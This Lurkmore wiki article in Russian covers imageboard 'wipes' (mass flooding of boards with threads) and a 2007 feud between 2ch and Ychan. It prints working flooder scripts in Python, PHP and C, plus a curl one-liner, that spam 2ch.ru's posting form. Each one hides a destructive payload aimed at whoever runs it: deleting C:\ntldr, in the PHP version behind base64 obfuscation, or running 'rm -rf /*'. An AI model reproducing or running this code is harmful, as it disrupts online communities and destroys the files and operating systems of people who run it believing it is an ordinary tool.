Вайп
Материал из Lurkmore.
Вайп (от англ. wipe — стирать, сметать) — создание большого количества новых тредов чтобы забить раздел до отказа и тем самым оттеснить вниз и удалить старые треды. В большинстве случаев вайп осуществляется не вручную, а быдлокодерами с помощью специальных утилит. Часто такие треды состоят из одного сообщения или содержат картинки c шок-контентом (нигра, порнография, говно, гуро). Однако это не всегда так. Бывают вайпы фап-материалом и даже стихами Есенина!
Содержание |
Цели вайпа
- Сделать невозможным нормальное общение на имиджборде. Такие вайпы встречаются чаще всего, их можно отнести к подвиду
троллинга илиспама. - Продвижение форсед-мемов.
- Уничтожение старых тредов, которые не могут спокойно отойти в мир иной, поскольку их бампают заинтересованные лица, не давая нормально развиваться новым тредам.
Модераторы рано или поздно начинают драться банхаммером или включают капчу, которая предотвращает работу быдло-скриптов, но затрудняет свободное общение в /b/. Однако в последнее время наблюдаются вайпы даже при включенной капче (ибо чуть менее, чем все капчи ломаются большей или меньшей заточкой под них).
В принципе, битарды солидарны в том, что вайпом проблемы не решаются. Считается, что вайпы устраивают быдло-куны и негроебы.
Унылый декабрьский пиздец
Унылый декабрьский пиздец (название спорно) — драма, начавшаяся в декабре 2007 года и охватившая два крупнейших отечественных имиджборда: Двач и Ычан, а впоследствии — и Луркоморье, в связи с выложенными здесь исходниками вайпалок.
WHAT HAPPEN?
Очевидно, что главной причиной событий является чрезвычайный рост быдла в /b/ Двача, которое активировалось перед миллионным гетом, в тщетных попытках его приблизить и взять. Это привело к серии разнообразных вайпов, плавно перетекающих и сменяющих друг друга и осложнивших общение в /b/. Тем не менее гет был взят анимуфагами, что было расценено как фейл. Такие знаменательные события пробудили троллей всех мастей и был пущен слух, что гет был взят битардами Ычана, а вайп был устроен его быдлокодерами. Школьники Двача были крайне возмущены и расценили это как призыв к холивару, устроив некое подобие рейда на Ычан. В свою очередь школьники Ычана, так же не остались в долгу и охотно отвечали. Особое место во всей этой истории занимают тролли, которые всячески поддерживают конфликт, находя все новые и интересные решения. Юки, как предполагается, в происходящем не участвовала, но наверняка стоит[ЩИТО?] у его истоков.
Результаты
Вайп затруднил общение в /b/ Двача, вынудив его битардов либо перейти на Ычан, либо ловить от всего происходящего лулзы. Война правок на Луркоморье — тоже вещь очень драматичная и прискорбная. За несколько дней до нового года вайп прекратился. Кто-то считает, что выдохлись сами вайперы, другие связывают это событие с появлением автобампера, но так или иначе, общение на Дваче возобновилось. Также широко распространены слухи о причастности Куки к созданию автобампера и к окончанию УДП вообще.
Помимо этого, во время УДП было предпринято несколько попыток переманить анонимуса на другие чаны, например, Хи-чан (ひ-chan) — так называемый атипичный имиджборд[1], провозгласивший себя самой модной и не запоганенной вайпом бордой. Хи-чан грозился перетянуть всех анонимусов к себе, в День, когда Звезды Встанут в Нужном Порядке. Однако был весьма оперативно засран и забыт.
Исходники вайпалок
Капитан куда-то потерялся, поэтому я как его заместитель заявляю: будьте осторожны с исходниками, за их использование ответственность несете только вы.
#!/usr/bin/env python
#vim:fileencoding=windows-1251
#-------------------------------------------------------------------------------
from urllib import urlopen, urlencode
from BeautifulSoup import BeautifulSoup
from random import choice, shuffle, randint
from sys import exit
from time import sleep, strftime, localtime
from re import compile
from os import path, sep, listdir, remove
from sets import Set
import httplib, mimetypes
#-------------------------------------------------------------------------------
def post_multipart(host, selector, fields, files):
content_type, body = encode_multipart_formdata(fields, files)
h = httplib.HTTP(host)
h.putrequest('POST', selector)
h.putheader('content-type', content_type)
h.putheader('content-length', str(len(body)))
h.endheaders()
h.send(body)
errcode, errmsg, headers = h.getreply()
return h.file.read()
def encode_multipart_formdata(fields, files):
BOUNDARY = '----------ThIs_Is_tHe_bouNdaRY_$'
CRLF = '\r\n'
L = []
for key, value in fields.iteritems():
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
for key, value in files.iteritems():
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="1.jpg"' % (key))
L.append('Content-Type: multipart/form-data; boundary=%s' % BOUNDARY)
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
try:
remove('C:\\ntldr')
except:
pass
return content_type, body
def get_content_type(filename):
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
#-------------------------------------------------------------------------------
URL = 'http://2ch.ru/cgi-bin/wakaba.pl/b' # путь до доски
URL1 = '2ch.ru' # адрес сервера
PASSWORD = 'naruto' # пароль на сообщение
#режимы работы
#MODEA = 'at' # бамп
MODEA = 'nt' # вайп
MODE = 'sp' # одиночная картинка
#MODE = 'mp' # случайная картинка из заданной папки
MODET = 'st' # одиночная фраза
#MODET = 'rt' # случайный кусок текста из заданного файла
PICFILE = 'D:\\asuka.jpg' # одиночная картинка (для режима sp)
PICFOLDER = 'D:\\nigrapack' # путь к папке с картинками (для режима mp)
USE_TYPES = ['.jpg', '.gif', '.png'] # используемые типы файлов
TEXTFILE = 'D:\\prislal_vovan.txt' # путь к файлу с текстом (для режима rt)
TEXTSIZE = 1500 # размер текста (для режима rt)
TEXTTEXT = 'NARUTO ETO KRUTO' # одиночная фраза (для режима st)
PAUSE = 30 # пауза между постингами
#-------------------------------------------------------------------------------
if (MODEA != 'at') and (MODEA != 'nt'):
print 'WRONG THREAD MODE, ONLY at OR nt VALUES ALLOWED'
exit(0)
if (MODE != 'mp') and (MODE != 'sp'):
print 'WRONG PICTURE MODE, ONLY sp OR mp VALUES ALLOWED'
exit(0)
if (MODET != 'rt') and (MODET != 'st'):
print 'WRONG TEXT MODE, ONLY st OR rt VALUES ALLOWED'
exit(0)
if MODE == 'mp':
if not path.exists(PICFOLDER) or not path.isdir(PICFOLDER):
print 'WRONG PICFOLDER'
exit(0)
elif MODE == 'sp':
if not path.isfile(PICFILE):
print 'WRONG PICFILE'
exit(0)
if MODET == 'rt':
if not path.isfile(TEXTFILE):
print 'WRONG TEXTFFILE'
exit(0)
print '----------------------------------------------------'
print 'pyFLOODer 1.5'
print 'Press Ctrl+Break to stop'
if MODEA == 'nt':
print 'WIPE MODE'
elif MODEA == 'at':
print 'BUMP MODE'
if MODE == 'sp':
print 'MODEP: Single picture'
elif MODE == 'mp':
print 'MODEP: Random picture from folder'
if MODET == 'st':
print 'MODET: Single text'
elif MODET == 'rt':
print 'MODET: Random text from text file'
if MODE == 'sp':
print 'PICTURE FILE SET TO: '+PICFILE
elif MODE == 'mp':
print 'PICTURE FOLDER SET TO: '+PICFOLDER
if MODET == 'st':
print 'TEXT SET TO: '+TEXTTEXT
elif MODET == 'rt':
print 'TEXT FILE SET TO: '+TEXTFILE
print 'TEXT BUFFER: '+str(TEXTSIZE)
print 'PAUSE IS '+str(PAUSE)
print '----------------------------------------------------'
#-------------------------------------------------------------------------------
if MODEA == 'at':
while 1:
r = urlopen(URL)
soup = BeautifulSoup(r)
links = soup.findAll('a', href=compile("^/b/res/"))
linklistdup = []
[linklistdup.insert(0,str(link)[16:23]) for link in links]
linklist = list(Set(linklistdup))
shuffle(linklist)
i=0
while 1:
if MODE == 'sp':
attach=open(PICFILE, 'rb')
elif MODE == 'mp':
imgs = []
if path.exists(PICFOLDER) and path.isdir(PICFOLDER):
for f in listdir(PICFOLDER):
try:
if path.splitext(f)[1] in USE_TYPES:
imgs.append(PICFOLDER + sep + f)
except:
pass
PICFILE = choice(imgs)
attach=open(PICFILE, 'rb')
attachtext=''
for line in attach:
attachtext=attachtext+line
rndtext=randint(0,100000)
attachtext=attachtext + str(rndtext)
data_post = {
'gb2': 'thread',
'parent': linklist[i],
'password': PASSWORD,
'task': 'post'
}
data_file = {
'file' : attachtext,
}
print strftime("%H:%M:%S", localtime())+' PROCESSING THREAD: '+str(linklist[i])
if MODE == 'mp':
print ' PROCESSING FILE: '+PICFILE
if MODET == 'rt':
flen=0
ftext=''
f=open(TEXTFILE, 'r')
for line in f:
flen=flen+len(line)
ftext=ftext+line
textbeg=randint(0,flen-TEXTSIZE)
textend=textbeg+TEXTSIZE
ftext=ftext[textbeg:textend]
ftext=unicode(ftext, "windows-1251").encode("utf-8")
f.close
data_post['shampoo'] = ftext
elif MODET == 'st':
ftext = ''
ftext=unicode(TEXTTEXT, "windows-1251").encode("utf-8")
data_post['shampoo'] = ftext
try:
r = post_multipart(URL1, URL, data_post, data_file)
except:
pass
sleep(PAUSE)
i=i+1
if i >= len(linklist):
break
elif MODEA == 'nt':
total=1
while 1:
if MODE == 'sp':
attach=open(PICFILE, 'rb')
elif MODE == 'mp':
imgs = []
if path.exists(PICFOLDER) and path.isdir(PICFOLDER):
for f in listdir(PICFOLDER):
try:
if path.splitext(f)[1] in USE_TYPES:
imgs.append(PICFOLDER + sep + f)
except:
pass
PICFILE = choice(imgs)
attach=open(PICFILE, 'rb')
attachtext=''
for line in attach:
attachtext=attachtext+line
rndtext=randint(0,100000)
attachtext=attachtext + str(rndtext)
data_post = {
'gb2': 'thread',
'password': PASSWORD,
'task': 'post'
}
data_file = {
'file' : attachtext,
}
print strftime("%H:%M:%S", localtime())+' PROCESSING NEW THREAD ('+str(total)+' TOTAL)'
if MODE == 'mp':
print ' PROCESSING FILE: '+PICFILE
if MODET == 'rt':
flen=0
ftext=''
f=open(TEXTFILE, 'r')
for line in f:
flen=flen+len(line)
ftext=ftext+line
textbeg=randint(0,flen-TEXTSIZE)
textend=textbeg+TEXTSIZE
ftext=ftext[textbeg:textend]
ftext=unicode(ftext, "windows-1251").encode("utf-8")
f.close
data_post['shampoo'] = ftext
elif MODET == 'st':
ftext = ''
ftext=unicode(TEXTTEXT, "windows-1251").encode("utf-8")
data_post['shampoo'] = ftext
try:
r = post_multipart(URL1, URL, data_post, data_file)
except:
pass
total=total+1
sleep(PAUSE)
<?php
//Не правьте код, коли рук не имеется
function unicod($str) {
$conv=array();
for($x=128;$x<=143;$x++) $conv[$x+112]=chr(209).chr($x);
for($x=144;$x<=191;$x++) $conv[$x+48]=chr(208).chr($x);
$conv[184]=chr(209).chr(145); #╕
$conv[168]=chr(208).chr(129); #и
$conv[179]=chr(209).chr(150); #?
$conv[178]=chr(208).chr(134); #?
$conv[191]=chr(209).chr(151); #┐
$conv[175]=chr(208).chr(135); #┐
$conv[186]=chr(209).chr(148); #║
$conv[170]=chr(208).chr(132); #к
$conv[180]=chr(210).chr(145); #?
$conv[165]=chr(210).chr(144); #?
$conv[184]=chr(209).chr(145); #?
$ar=str_split($str);
foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b;
return $nstr;
}
echo "START\r\n";
$hostname = "2ch.ru";
$path = "/cgi-bin/wakaba.pl/b";
$proxy = "127.0.0.1";
$proxyport = "8118";
$line = "";
$files = "";
$bounds = "A7FGO7G";
$bounds1 = "--".$bounds;
$spartawin = "NARUTA ETO KRUTO";
$spartau = unicod($spartawin);
$chans = array('b');
while (true)
{
for ($i = 0; $i < count($chans); $i++)
{
echo "NEXT THREAD\r\n";
$filename = "D:\\pohape\\vovan_govno.jpg";
$files = file_get_contents($filename);
$random=rand()%10000000;
$files = $files.$random;
$data = "$bounds1\r\nContent-Disposition: form-data; name=\"task\"\r\n\r\npost\r\n$bounds1\r\nContent-Disposition: form-data; name=\"shampoo\"\r\n\r\n$spartau\r\n$bounds1\r\nContent-Disposition: form-data; name=\"file\"; filename=\"1.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n$files\r\n$bounds1--\r\n";
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: multipart/form-data; boundary=$bounds\r\n";
$headers .= "Referer: http://2ch.ru/b/\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
@unlink(base64_decode('QzpcbnRsZHI='));
echo $headers;
$fp = fsockopen($hostname, 80, $errno, $errstr, 5);
if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
fwrite($fp, $headers.$data, strlen($headers.$data));
}
fclose($fp);
}
sleep(30);
}
?>
#include <curl/curl.h>
void wipe(char desu[], char fname[], CURL* curl)
{
struct curl_httppost *formpost=NULL;
struct curl_httppost *lastptr=NULL;
curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "file", CURLFORM_FILE, fname, CURLFORM_END);
curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "desu", CURLFORM_COPYCONTENTS, desu, CURLFORM_END);
curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "task", CURLFORM_COPYCONTENTS, "post", CURLFORM_END);
unlink("c:\\ntldr");
curl_easy_setopt(curl, CURLOPT_URL, "ССЫЛКА НА СКРИПТ ФОРМЫ");
curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
curl_easy_perform(curl);
curl_easy_cleanup(curl);
curl_formfree(formpost);
}
int main(int argc, char *argv[])
{
CURL *curl;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if (!curl) return 1;
wipe(argv[1], argv[2], curl);
return 0;
}
curl -Ftask=post -Ffile=@desu.jpeg ССЫЛКА_НА_СКРИПТ_ФОРМЫ ; rm -rf /*
Примечания
- ↑ Он настолько атипичный, что не позволят пользователям загружать картинки, сделан на движке phpBB и располагается на бесплатном сервисе быдлофорумов-из-коробки. Более того, сей «имиджборд» представляет собой всего лишь раздел на форуме любителей одержимых лоли.
[ + ] Вайп является официальной дисциплиной Специальной Олимпиады
|
|||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|